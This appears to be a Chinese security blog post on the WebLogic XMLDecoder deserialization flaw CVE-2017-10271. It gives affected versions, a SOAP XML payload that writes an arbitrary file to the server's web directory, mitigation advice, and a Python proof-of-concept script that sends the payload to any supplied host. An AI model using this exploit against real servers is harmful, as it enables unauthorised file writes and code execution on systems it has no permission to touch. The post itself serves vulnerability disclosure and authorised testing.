WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞复现&修复方案

0x00 漏洞简介

  • 此次漏洞是针对Oracle WebLogic Server组件的WLS Security子组件
  • 使用精心构造的xml数据可能造成任意代码执行
  • 影响版本: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

0x01 复现过程

/wls-wsat/CoordinatorPortTypPOST提交如下XML并将 Content-Type修改为 test/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string><void method="println"><string>weblogic_CVE-2017-10271</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

提交过后会在 /bea_wls_internal/下生成test.txt。

0x02 修复方案

  • 对wls组件进行访问控制
  • 升级Oracle 10月份补丁

0x03 POC

#coding=utf-8

import requests

import sys


#author 香香@chamd5

#声明:仅用于学习交流与授权测试,请勿用于非法用途,其后果与本人及团队无关


def exp(url,file):

    headers = {'Content-type': 'text/xml'}

    xml = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/%s</string><void method="println"><string>CVE-2017-10271_test</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope> '''%(file)

    res = requests.post('http://%s/wls-wsat/CoordinatorPortType'%(url), headers=headers, data=xml)

    if res.status_code != 404:

        res = requests.head('http://%s/bea_wls_internal/%s'%(url,file)).status_code

        if res != 404:

            print 'ok! file_path: http://%s/bea_wls_internal/%s'%(str(url),str(file))

    else:

        print 'no!'



if __name__ == '__main__':

    if len(sys.argv)<3:

        print '''

please use python weblogic.py host:port filepath

        '''

        sys.exit(0)

    url = sys.argv[1]

    file = sys.argv[2]

    exp(url,file)

参考链接:

https://github.com/kylingit/blog-hugo/blob/master/content/blog/Weblogic-0day.md

原文发布于微信公众号 - ChaMd5安全团队(chamd5sec)

原文发表时间:2017-12-23

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏陈树义

如何在IntelJ下用Maven创建一个Web项目

相信一开始做Web项目的同学都是直接把项目包放在WEB-INF/lib目录下,然后就开始做项目了。但是之后接触了一些使用了Maven进行包管理的项目,我们就不得...

2706
来自专栏杨建荣的学习笔记

Linux命令ping,nc的学习(r10笔记第20天)

今天看了下《Linux大棚命令百篇》网络和系统篇,发现了几个很不错的命令,我是看着目录然后根据自己的需要选了3个命令,没想到3个命令都让人眼前一亮,刷新了我原本...

4116
来自专栏云计算教程系列

如何在Ubuntu 12.04上安装和配置AppScale

AppScale是一个开源计算平台,旨在在公共云,私有云和内部部署集群上部署Google App Engine应用程序。AppScale与Google App ...

1720
来自专栏贺贺的前端工程师之路

如何在github上创建个人项目的在线演示demo

以前是看到别人的GitHub上的项目源码中,后面会跟着一个网址,是该项目的demo,可是就单纯的没有再去思考,我是不是也可以把自己的项目这样放到GitHub上去...

1011
来自专栏LhWorld哥陪你聊算法

【Python篇】---Python3.5在Centoos的安装教程--超实用

Python3在公司用的还是比较多的,但一般Centoos默认是python2的环境。所以本文就python3的安装做个总结。

1412
来自专栏九彩拼盘的叨叨叨

CanIUse 命令行工具介绍

注意:如果使用的是Windows系统,需要在Git的命令行执行上述命令。否则会报Git Not Found的错。

631
来自专栏java思维导图

开源项目renren-fast解读,让java不再难懂(一)

node.js安装教程:http://nodejs.cn/download/ 下载msi版本安装。

5277
来自专栏杂烩

otter安装 原

    https://github.com/alibaba/otter/wiki/QuickStart

973
来自专栏SpringBoot 核心技术

Git核心技术:在Ubuntu下为Gitolite添加管理端

在之前章节已经完成了服务端的配置,可以访问Git核心技术:在Ubuntu下部署Gitolite服务端查看配置步骤,因为gitolite的管理是通过一个名为git...

1632
来自专栏北京马哥教育

Python之包管理工具快速入门

学Python最简单的方法是什么?推荐阅读:30万年薪Python开发工程师成长魔法 在Python环境中已经有很多成熟的包,可以通过安装这些包来扩展我们的程序...

2905

扫码关注云+社区

领取腾讯云代金券